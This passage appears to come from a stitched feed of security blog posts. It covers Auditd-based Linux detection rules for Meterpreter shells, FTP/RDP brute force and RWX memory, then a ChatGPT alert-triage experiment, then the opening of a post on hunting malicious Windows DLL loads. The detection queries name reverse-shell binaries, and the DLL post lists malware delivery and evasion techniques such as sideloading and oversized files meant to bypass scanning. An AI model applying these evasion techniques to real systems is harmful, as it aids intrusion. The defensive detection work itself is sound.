  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/if_inet6"]

When Meterpreter spawns, it collects default system information such as the machine, user, and IP routing information by reading specific system files. We can see this behavior when decompiling the Meterpreter payload, as the paths are hardcoded into the binary.

Our detection logic leverages auditd.data.a2 == “1b6”, as this is consistent with the Meterpreter’s behavior. We can find Meterpreter leveraging this specific syscall combination to read files by looking at the way Meterpreter opens file handlers.

Just for informational purposes, some other paths that Meterpreter reads from can be found in the screenshot below.

We can leverage ES|QL to analyze a set of Meterpreter reverse shells, and easily find out what file paths are being accessed by all of them.

FROM logs-*, auditbeat-*
| WHERE host.os.type == "linux" and event.action == "opened-file" and process.name in ("shell-x64.elf", "JBNhk", "reverse.elf", "shell.elf", "elf") and auditd.data.a2 == "1b6"
| STATS file_access = COUNT_DISTINCT(process.name) by file.path
| SORT file_access desc
| LIMIT 100

In this example we are only analyzing 5 Meterpreter shells, but using ES|QL we can easily scale this analysis to larger numbers. Based on the information above, we can see that the paths that were selected for the detection rule are present in all five of the samples.

Combining the above logic, we can potentially discover Linux Meterpreter payloads.

Linux FTP/RDP brute force attack detected

Given that there are so many different FTP/RDP clients available for Linux, and the authentication logs are not entirely implemented similarly, you can leverage Auditd’s auditd.data.terminal field to detect different FTP/RDP implementations. Our FTP detection logic looks as follows:

sequence by host.id, auditd.data.addr, related.user with maxspan=3s
  [authentication where host.os.type == "linux" and event.action == "authenticated" and 
   auditd.data.terminal == "ftp" and event.outcome == "failure" and auditd.data.addr != null and 
   auditd.data.addr != "0.0.0.0" and auditd.data.addr != "::"] with runs=5

  [authentication where host.os.type == "linux" and event.action  == "authenticated" and 
   auditd.data.terminal == "ftp" and event.outcome == "success" and auditd.data.addr != null and 
   auditd.data.addr != "0.0.0.0" and auditd.data.addr != "::"] | tail 1

Here, we sequence 5 failed login attempts with 1 successful login attempt on the same host, from the same IP and for the same user. We leverage the tail feature which works similar to tail in Unix, selecting the last X number of alerts rather than selecting all alerts within the timeframe. This does not affect the SIEM detection rules interface, it is only used for easier readability as brute force attacks can quickly lead to many alerts.

Although we are leveraging different FTP tools such as vsftpd, the auditd.data.terminal entry remains similar across tooling, allowing us to capture a broader range of FTP brute forcing attacks. Our RDP detection rule leverages similar logic:

sequence by host.id, related.user with maxspan=5s
  [authentication where host.os.type == "linux" and event.action == "authenticated" and
   auditd.data.terminal : "*rdp*" and event.outcome == "failure"] with runs=10
  [authentication where host.os.type == "linux" and event.action  == "authenticated" and
   auditd.data.terminal : "*rdp*" and event.outcome == "success"] | tail 1

Given that auditd.data.terminal fields from different RDP clients are inconsistent, we can leverage wildcards to capture their authentication events.

Network connection from binary with RWX memory region

The mprotect() system call is used to change the access protections on a region of memory that has already been allocated. This syscall allows a process to modify the permissions of pages in its virtual address space, enabling or disabling permissions such as read, write, and execute for those pages. Our aim with this detection rule is to detect network connections from binaries that have read, write and execute memory region permissions set. Let’s take a look at the syscall.

For our detection rule logic, the prot value is most important. You can see that prot can have the following access flags:

As stated, prot is a bitwise OR of the values in the list. So for read, write, and execute permissions, we are looking for an int of:

int prot = PROT_READ | PROT_WRITE | PROT_EXEC;

This translates to a value of 0x7 after bitwising, and therefore we will be looking at an auditd.data.a2 == “7”. We have created two detection rules that leverage this logic - Unknown Execution of Binary with RWX Memory Region and Network Connection from Binary with RWX Memory Region. The detection rules that leverage specific Auditd configurations in order to function, will have a note about what rule to add in their setup guide:

The prior leverages the new_terms rule type, which allows us to detect previously unknown terms within a specified time window. This allows us to detect binaries with RWX permissions that are being seen on a specific host for the first time, while reducing false positives for binaries that are overly permissive but used on a regular basis.

The latter leverages the following detection logic:

sample by host.id, process.pid, process.name
[process where host.os.type == "linux" and auditd.data.syscall == "mprotect" and auditd.data.a2 == "7"]
[network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and
   not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")
]

We sample a process being executed with these RWX permissions, after which a network connection (excluding loopback, multicast, and link-local addresses) is initiated.

Interestingly enough, Metasploit often assigns these RWX permissions to specific regions of its generated payloads. For example, one of the events that trigger this detection logic in a testing stack is related to the execution of Metasploit’s Postgres Payload for Linux. When analyzing this payload’s source code, you can see that the payload_so function defines the PROT_READ, PROT_WRITE and PROT_EXEC flags.

After which a specific memory region, with a specific page size of 0x1000 is given the RWX access flags in a similar fashion as described earlier.

After running the payload, and querying the stack, you can see several hits are returned, which are all related to Metasploit Meterpreter payloads.

Focusing on the Postgres payload that we were analyzing earlier, you can see the exact payload execution path through our visual event analyzer. Elastic Security allows any event detected by Elastic Endpoint to be analyzed using a process-based visual analyzer, which shows a graphical timeline of processes that led up to the alert and the events that occurred immediately after. Examining events in the visual event analyzer is useful to determine the origin of potentially malicious activity and other areas in your environment that may be compromised. It also enables security analysts to drill down into all related hosts, processes, and other events to aid in their investigations.

In the analyzer you can see perl being leveraged to create and populate the jBNhk payload in the /tmp directory (with RWX permissions) and spawning a reverse Meterpreter shell.

Conclusion

In this post, we've dived into the world of Auditd, explaining what it is and its purpose. We showed you how to get Auditd up and running, how to funnel those logs into Elasticsearch to boost Unix/Linux visibility and enable you to improve your Linux detection engineering skills. We discussed how to craft Auditd rules to keep an eye on specific activities, and how to make sense of the events that it generates. To make life easier, we introduced Auditd Manager, an integration created by Elastic to take some of the management load off your shoulders. Finally, we wrapped up by exploring various detection rules and some of the research that went into creating them, enabling you to get the most out of this data source.

We hope you found this guide helpful! Incorporating Auditd into your Unix systems is a smart move for better security visibility. Whether you decide to go with our pre-built detection rules or craft some of your own, Auditd can really strengthen your Unix security game.

Exploring the Future of Security with ChatGPT

Mika Ayenson — Mon, 24 Apr 2023 00:00:00 GMT

Preamble

Recently, OpenAI announced APIs for engineers to integrate ChatGPT and Whisper models into their apps and products. For some time, engineers could use the REST API calls for older models and otherwise use the ChatGPT interface through their website. Now there's an opportunity to prototype and experiment with Large Language Models (LLMs) to assist with security use cases.

The defensively-minded possibilities are endless for applying the older gpt-3.5-turbo and soon gpt-4 models but here are just a few ideas:

Chatbot-assisted Incident Response: Creating a chatbot that can identify and respond to security incidents in real-time to achieve a desired outcome. The chatbot can use ChatGPT to analyze the incident and provide an appropriate and configurable response (e.g. execute response actions, recommend new queries, etc.).
Threat information: Using ChatGPT to analyze threat data and generate reports for your security product. This will help to improve the mean-time to respond.
Natural language search: Implementing natural language search capabilities in your security product. ChatGPT can be used to understand and optimize search queries, for more accurate and relevant results.
Anomaly detection: Using ChatGPT to analyze event data to identify anomalies that may indicate a security breach (although will require local domain context training).
Security policy chatbot: Creating a chatbot that can answer security-related questions while investigating threats. The chatbot can use ChatGPT to provide accurate and relevant answers to questions about security policies, best practices, summarizing information, and more.
Alert prioritization: Using the data within the alerts to group and prioritize the most relevant information to the analyst for an expedited response.

Overview

The relevance of results from a tool like ChatGPT depends a great deal on the data provided and the question asked. Garbage in: garbage out. To minimize costs during prototyping, we chose a small number of available fields (see below). There will always be a bit of tuning and engineering to get the best out of a model like this.

The following fields are included:

"event.kind",
"signal.rule.severity",
"kibana.alert.rule.name",
"signal.reason",
"signal.rule.type",
"signal.rule.interval",
"signal.rule.risk_score",
"kibana.alert.rule.producer",
"kibana.alert.rule.description"

If you decide to play around with the code, feel free to modify the fields as needed. Also, we'd love to hear what you're doing if you've already pulled something together. Or if you just want to chat about cool ideas, feel free to reach out! Now let's get into some fun. 😎

Simple use case: ELI5

No matter how experienced you are in the security domain, there will always be changes and new developments. They keep the security world exciting but also challenge us to stay up to date, especially when it pertains to threats. But often the detection engineer that created a query to identify malicious activity is not the same person responding to a threat. And, notably, those individuals will prioritize different knowledge and come with their own sets of unique experiences.

The following Example simply queries the detection engine for alerts and then explains them in several ways. Some of the explanations were insightful, and some were humorous. You should try it out yourself.

Malicious Behavior Prevention alert

From the Suspicious Microsoft IIS Worker Descendant detection rule, we start with the first prompt “Summary the Elastic event:” and in each example, it's followed by the response provided by chatGPT.

This first example is short and sweet, to highlight the basic functionality. Summarize the Elastic event:

The summary of the elastic event is that it produces a detection alert whenever a suspicious Microsoft IIS Worker Descendant is detected by Elastic Endpoint Security. This alert helps in investigating the endpoint alerts promptly.

Sometimes you need to provide an explanation to a layperson without security experience or expertise The term “explain it like I’m five” originated in 2010 on Twitter and was later seen on the subreddit, r/explainlikeimfive. Language is hard. Explaining complicated or nuanced things is even harder. In the most endearing way possible, sometimes we just need someone to explain it like we’re five.

Explain this Elastic event like I'm five:

So, you know how sometimes there are bad guys who try to do bad things on our computers? Well, there is a special program called Elastic Endpoint Security that helps protect our computers from those bad guys. When it detects something suspicious, it will send an alert to the grown-ups who are taking care of the computer. This alert has a special name - Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant. Now, the people who take care of the computer have another special program called SIEM. SIEM keeps an eye on all the alerts that Elastic Endpoint Security sends, and if it sees one of these special alerts, it will tell the grown-ups right away so they can investigate and make sure everything is okay. So, this message just means that SIEM got an alert from Elastic Endpoint Security, and it's letting the grown-ups know so they can take care of it.

Sometimes your kids may want to know how your day went. ChatGPT can even help in this (unconventional) area.

Explain this event to my kids:

There was something weird that happened on a computer, and the people who take care of it wanted to know about it right away. They made a rule that sends an alert whenever something strange happens on that computer. This way, they can look into it and make sure everything is okay.

This example is interesting. Without the context of what kind of leadership you have, this response may not be enough. It might even be interpreted as insulting 😅. Like any other tool, make sure you’re using it in a safe and appropriate way.

Explain this event to my boss:

This event indicates that a rule named "Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant" was triggered by the SIEM system. This rule is designed to generate an alert whenever any suspicious activity related to Elastic Endpoint Security is detected. By enabling this rule, we can quickly investigate any potential threats to our Endpoint security.

This next example is great for training entry-level analysts. It provides intentional words that you want to hear when onboarding someone to a new role.

Explain this event to the new graduate:

This event is a notification that a rule has been triggered to detect a suspicious behavior related to the Microsoft IIS Worker, which is a component of the web server software. This rule is meant to prevent any malicious behavior and generate an alert whenever an Elastic Endpoint Security alert is received. By enabling this rule, it helps to investigate the security threats quickly and take the necessary actions to mitigate them.

We can prompt in different ways, and as expected get different responses.

Explain what happened in this event:

This event is related to a detection alert rule named "Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant," which was produced by a SIEM. The event type is "signal," which means that the alert has been triggered based on a specific condition. The purpose of this rule is to generate a detection alert every time an Elastic Endpoint Security alert is received, which helps in the immediate investigation of the endpoint alerts. Therefore, this event indicates the occurrence of suspicious activity related to Microsoft IIS Worker Descendants and the triggering of an alert by the detection rule.

Clearly, there is room for improvement. In this next example, it preemptively explains, "Hey hey, don't ask for too much of me. I'm just an assistant."

Explain this event to the CISO:

As a virtual assistant language model, I can explain the given event to the CISO with utmost accuracy and professionalism. This event signifies the activation of a rule in Kibana that generates an alert whenever there's suspicious behavior detected in Microsoft IIS worker descendant, which can be a potential threat to the organization's security. This rule is produced by the SIEM (Security Information and Event Management) system and is designed to detect malicious activities and alert the security team immediately. This event also mentions that the endpoint security system generates alerts that enable the security team to investigate and take necessary actions to mitigate threats. Overall, this event highlights the implementation of proactive security measures to ensure the safety of the organization's digital assets.

This last example is particularly interesting because it just scratches the surface for how to guide the team responding to this event.

What are next investigative steps to take based on this event:

Determine the source of the Elastic Endpoint Security alert and investigate the details of the alert to understand the specific suspicious behavior detected.

Review system logs to identify any other unusual activity within the network, particularly from the same system or IP address associated with the suspicious Microsoft IIS worker descendant.

Check for any recent changes made to the Microsoft IIS configuration or permissions that may have triggered the alert.

Assess the impact of the event on the affected system and determine if any data or systems were compromised.

Identify and isolate the affected system or systems to prevent further spread of any potential malware or malicious activity.

Review current security measures and identify any gaps or areas that can be improved to prevent similar incidents in the future.

Report the event to the relevant authorities or stakeholders, if necessary.

As you can see, this demo focuses on summarizing the gist of an alert. Imagine how powerful this could be if we decided to summarize all of the alerts for the week into a single summary for reporting. If we tweak the data sent to chatGPT and provide more fields, then we should anticipate getting more accurate responses. That engineering tradeoff of determining what the most important fields to send to get the clearest picture in a time-sensitive fashion is worth the investment. Now, let's explore one more use case.

Alert prioritization

Response times can impact the severity and outcome of an incident. In challenging situations (e.g. alert fatigue, high volume of alerts, lack of training, constrained resources, etc.), responders struggle with determining what to do first. For example, which alert should be investigated and why? Perhaps ChatGPT can help in this area. 🤔

Here are some example alerts that we use in the next set of conversations. Again, the data in these sample alerts are limited to a subset of fields available to conserve tokens.

Sample alerts

{'kibana.alert.last_detected': '2023-02-28T16:59:46.600Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T16:59:46.601Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T16:59:46.601Z', 'kibana.alert.rule.execution.uuid': 'bcbdfcd7-ba8a-4ed2-a203-4f23d77480ec', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T13:36:30.680Z', 'kibana.alert.rule.execution.uuid': '74f6a3e1-58d1-410d-bd22-6886be6c8cb7', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T13:36:30.680Z', 'kibana.alert.rule.execution.uuid': '74f6a3e1-58d1-410d-bd22-6886be6c8cb7', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-01T12:46:02.800Z', 'kibana.alert.rule.execution.uuid': '0025ed3f-c41c-40ea-bd29-babd28b154b4', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-02-28T17:04:49.582Z', 'kibana.alert.rule.execution.uuid': '2d4965c5-a345-4f47-9deb-4135b178c7f3', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.'}

When we ask ChatGPT "Which one of these alerts should I prioritize?", we get a few interesting responses. Feel free to expand the entries below to see the actual responses.

The first response doesn't answer the question. It admits that it's a challenging question and provides some general guidance on how to triage alerts. We can try modifying the prompt to get closer to a specific answer.

Generic response

In the next response we again receive a general response 😓, but simply repeating the same question. This time, however, it attempts to provide more specific recommendations based on the fields provided. The message is interesting, but we want to know how to prioritize alerts, not receive a general description of the alerts.

Generic response with field details

It's difficult to prioritize these alerts without more context, as it depends on the severity and impact of each alert, as well as the current state of the system being monitored. However, here are some general guidelines based on the information provided: The alerts with the most recent "kibana.alert.last_detected" timestamp may be more urgent, as they indicate a more recent occurrence of a potentially malicious activity. Alerts with the same "kibana.alert.rule.name" and "kibana.alert.rule.description" but different "kibana.alert.rule.execution.uuid" may indicate multiple instances of the same type of activity, and may be worth investigating further. Alerts with different "kibana.alert.rule.name" and "kibana.alert.rule.description" may indicate different types of malicious activity, and should be evaluated based on their severity and impact on the system. Ultimately, the best course of action is to have a clear plan and protocol for responding to alerts, and to evaluate each alert based on its specific context and potential impact on the system being monitored.

After adding the new fields to the original events, we get a more informed response (as expected). We try adding two fields that should dramatically impact the response and recommendations provided.

Feeding more context to ChatGPT can always help get a better answer, but remember when cost is a concern, sometimes we have to be very picky about which fields (and how much data) we want to send. To no surprise, we immediately obtain improved responses after adding these important pieces of information. In this case, since the alerts are all very similar, it chooses the timestamp to prioritize the alert.

"kibana.alert.rule.risk_score", "kibana.alert.rule.severity",

Prioritizing recommendation

It seems like all the alerts have the same information and are related to the same type of alert: Malicious Behavior Prevention Alert. They are all of medium severity and have the same risk score. Therefore, I suggest investigating the most recent alert since it was detected at a later time, and it might indicate that the issue is ongoing or has occurred again. In this case, the alert with the timestamp of 2023-03-07T20:42:25.969Z is the most recent one, so I recommend prioritizing it. However, I would still recommend investigating all the alerts since they are related to the same type of threat and could provide valuable information for understanding and mitigating the issue.

We can try shrinking similar alerts down to one alert by rule name to see how the volume of alerts (in a contrived way) impacts the response. Yet again, we get a slightly more direct response even though the alerts have the same risk score and severity level. At least this time we get a specific rule name somewhere in the response.

Reduced sample alerts by rule name

{'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 74, 'kibana.alert.rule.severity': 'critical'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 47, 'kibana.alert.rule.severity': 'medium'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 21, 'kibana.alert.rule.severity': 'low'}

Prioritized alert

Based on the information provided, all three alerts have the same risk score and severity level, and they appear to be related to the same type of detection for malicious behavior in the Elastic Endpoint Security system. Therefore, it may be important to investigate all three alerts to ensure that there are no broader patterns of malicious activity in the system. However, if there are limitations on resources and time available for investigation, it may be reasonable to prioritize the alert with the most specific and detailed name and description, which in this case is "Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection." This alert may indicate a more serious and urgent threat that requires immediate attention.

Finally, we manipulate the fields to change the severity and risk score for experimental purposes and set the DARKRADIATION alert to a critical severity and high-risk score. We end the exploration with a direct response based on specific fields recommending the alert DARKRADIATION, and ChatGPT explains why the alert is the best choice, which is closer to what we're looking for.

So why would we want to use an LLM if we can simply prioritize alerts using a rules-based strategy (e.g. sort alerts by highest severity)? As we saw earlier, other factors can impact the response (volume of alerts, the similarity of alerts, etc.), where at the end of the day the recommendation may be ultimately based on a timestamp or another field provided that is not as obvious to the responder.

Sample alerts with varying severity & risk score

{'kibana.alert.last_detected': '2023-03-07T20:42:25.969Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: DARKRADIATION Ransomware Infection', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 74, 'kibana.alert.rule.severity': 'critical'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Bitsadmin Activity', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 47, 'kibana.alert.rule.severity': 'medium'} {'kibana.alert.last_detected': '2023-03-07T20:42:25.970Z', 'kibana.alert.rule.execution.uuid': 'd3f35957-a4e5-445b-b86f-e91814274dcb', 'kibana.alert.rule.name': 'Malicious Behavior Prevention Alert: Suspicious Microsoft Office Child Process', 'kibana.alert.rule.producer': 'siem', 'event.kind': 'signal', 'kibana.alert.rule.description': 'Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to immediately begin investigating your Endpoint alerts.', 'kibana.alert.rule.risk_score': 21, 'kibana.alert.rule.severity': 'low'}

Prioritized alert with details

Based on the severity and risk scores provided in the alerts, the Malicious Behavior Prevention Alert for DARKRADIATION Ransomware Infection should be prioritized. This alert has a severity level of "critical" and a risk score of 74, which indicates that it poses a significant threat and requires immediate attention. In comparison, the other two alerts have lower severity levels and risk scores, suggesting that they are of lower priority. However, it's worth noting that the specific context and environment in which these alerts were generated could also impact their prioritization. Therefore, it's important to carefully evaluate all available information before making a final decision.

We've always known more context potentially can yield better responses. In this case, we used a combination of 1) reducing the alerts by Rule Name, and 2) providing more useful fields targeted to the question we wanted to answer. If we change the question, then we most likely need to provide different fields, which gets back to a broader question of what data should we provide to cost-effectively get the answer we're looking for.

Small discussion on LLMs for undesirable outcomes

The major question here is, how can the security industry take advantage of LLMs like ChatGPT to prepare for undesirable outcomes (e.g., data breach, malware infection, insider threat, DOS-type cyber attack). This topic drives towards an exciting new topic of domain-specific context, and if LLM is the giant machine, then what will we get out of it?

Here are some well-known concepts that we can tap into: - Contextualizing alerts: Deep diving through past alerts and providing relevant insights to the analyst.

Training new models: Applying transfer-learning techniques to train new predictive models that are tailored to an organization's specific dataset and security needs. This training would cover large sets of historical reports, logs, ELT-prepped network traffic, responses, etc.
Automating all the things: Automating the mundane tasks away, sounds simple, but will challenge our ability to trust in automation.
Threat modeling: Create highly representative threat models and attacks that adversaries may exploit to reinforce and improve an organization's security posture.

We've seen the security world gravitate towards ML for anomaly detection. As more of these LLMs become available and grow in capability, we have to tune ChatGPT magic to fit in our existing workflows and be comfortable replacing/upgrading old processes. At the very least, new ChatGPT applications will inspire new research questions, experiments, and proofs-of-concept. The key factor is not who develops the initial security-LLM application, but rather who can derive the most benefit from it for their product or organization.

Start asking the questions. What am I missing in my policy? What gaps are in my detections? What does this alert mean? These types of questions will lead to great opportunities to use LLMs and add the extra protection you may have missed. With GPT-4’s release and image capabilities, improved reasoning creates even more opportunities to extend into the security domain. Just imagine capturing user activities in a graphic that morphs over time (e.g. standard plot, rorschach graphic, etc.) and using a future GPT-X that can interpret trends, detect anomalies, or even track entity analytics! The classification and analysis possibilities are endless, and I encourage everyone to continue merging into new domains.

It was fun playing around with the overlapping domains of security and LLMs, and the gist file we provide may one day evolve into a full project. 🤷 We didn't prove out all of the use cases, but that leaves room for future opportunities, research, POCs and research to explore with the future versions of gpt!

We hope you enjoyed the read! See below for how to get started with the summary demo.

Try it yourself!

If you want to try this out for yourself, you'll need a few things. - Signup to get an OpenAI account, following the guide for best practices. - Grab the gist, which has the code. Disclaimer: The API continues to evolve, which may require minor changes. - This example uses Elastic, so Signup to get a free Elastic security trial. You will also benefit from having some experience with the security detection engine.

Hunting for Suspicious Windows Libraries for Execution and Defense Evasion

Samir Bousseaden — Wed, 01 Mar 2023 00:00:00 GMT

Dynamic-link library (DLL) image loads is one of the noisiest types of event in Windows, which may discourage defenders from using it for detection engineering or threat hunting. Even if logged in some environments, it’s often limited to function-specific DLLs such as scheduled tasks (taskschd.dll), Windows Management Instrumentation (wmiutil.dll) and potentially DLLs loading from a few suspicious folders. In addition to the data volume issue, the false positive (FP) rate of the detection rules using DLL events also tend to be proportional to the data volume.

Unfortunately, both advanced adversaries and also commodity malwares are taking advantage of those limitations to increase the chances of their attack success, especially during the delivery phase via diverse spear phishing procedures.

The most commonly observed delivery techniques are the following :

Loading malicious DLLs using binary execution proxies Rundll32 and Regsvr32
Sideloading a malicious DLL from a virtual disk image (ISO/VHD files) into a convenient signed benign binary
Extracting a DLL from a malicious Microsoft Office document (i.e. Word, Excel) and immediately loading it via Visual Basic for Applications (VBA)
Downloading or extracting a DLL using a lolbin and loading it by another program
Sideloading a malicious DLL extracted from a compressed archive (zip, rar, etc) into a signed benign binary
Dropping a malicious DLL in the current directory of an existing program vulnerable to DLL sideloading (e.g. OneDrive, Slack, Teams) via one of several means
Less common but also very effective is the use of Windows Installer MSIEXEC to load a malicious DLL

What DLL events do we log with Elastic Endpoint ?

With the exception of the following Microsoft DLLs, Elastic endpoint since version 7.16 records all non-Microsoft signed DLLs:

We also added some enrichments to both DLL and process events that records the following metadata:

Below is an example of device information for DLL and Process execution from mounted ISO and VHD files, two file objects increasingly used to deliver malware:

Here is an example of process execution relative file creation and modification times for svchost.exe :

The relative execution time enrichment will help us create less noisy detection rules (we can match our rules against the first or few image load or process execution instances), and the device information will allow us to better target suspicious use of ISO/VHD files for malicious purposes.

Detection

In this section we share some detection ideas that are both reliable signals and effectively match the most common scenarios we mentioned earlier.

DLL via Rundll32 / Regsvr32

As captured in our own Global Threat Report, Rundll32 and Regsvr32 lolbins are two of the most abused binary execution proxies. These utilities can load malicious DLLs and are a commonly seen component of many phishing attacks (malicious shortcuts, ISO file, macro enabled documents):

During a recent period of about 90 days, our internal malware sandbox saw roughly 21K malware alerts where the malicious file was a DLL loaded by either regsvr32 or to a lesser degree rundll32.

The following two endpoint behavior protection rules are effective against about 80% of those samples (~17k out of ~21k) leveraging rundll32 or regsvr32 to execute malicious modules: - Unusual DLL Extension Loaded by Rundll32 or Regsvr32- RunDLL32/Regsvr32 Loads Dropped Executable

Rundll32 or Regsvr32 Executing an oversized File

The following EQL query correlates creation of an executable file event with file size equal or greater than 100MB (this threshold can be adjusted to your environment) subsequently followed by being loaded as a DLL via rundll32 or regsvr32:

Below are examples of malicious control panel (CPL) files with sizes over 700MB, a technique used to bypass AV file scanning and reputation-based cloud services that implement a maximum file size for uploaded files:

Rundll32 or Regsvr32 loading a DLL with a suspicious original file name

Some malicious DLLs have a suspicious original file name, such as ending with .EXE extension or with a great mismatch between the length of the original file name and the actual DLL name. This kind of defense evasion is less common and is employed by a good number of known malware families:

A few examples:

DLL via Disk Images

Embedding malicious payloads in virtual disk images isn’t new or particularly novel, but the technique has gained in popularity among commodity malware families.

Suspicious ImageLoad from an ISO Mounted Device

The following rule looks for the execution of commonly-abused Windows binaries to load a DLL from a mounted virtual disk image:

Below are some example of the technique:

Suspicious Microsoft Image Loaded from a Disk Image

The following rule is triggered when an executable, running from a mounted virtual disk image (.vhd, .iso), loads a suspicious Microsoft-signed DLL such as the taskschd, bitsproxy or vaultclient modules that are associated with some common malware capabilities like persistence, credential access, and evasion.

This query identifies many commodity malware families delivered via ISO files:

Potential DLL SideLoad via a Renamed Signed Binary

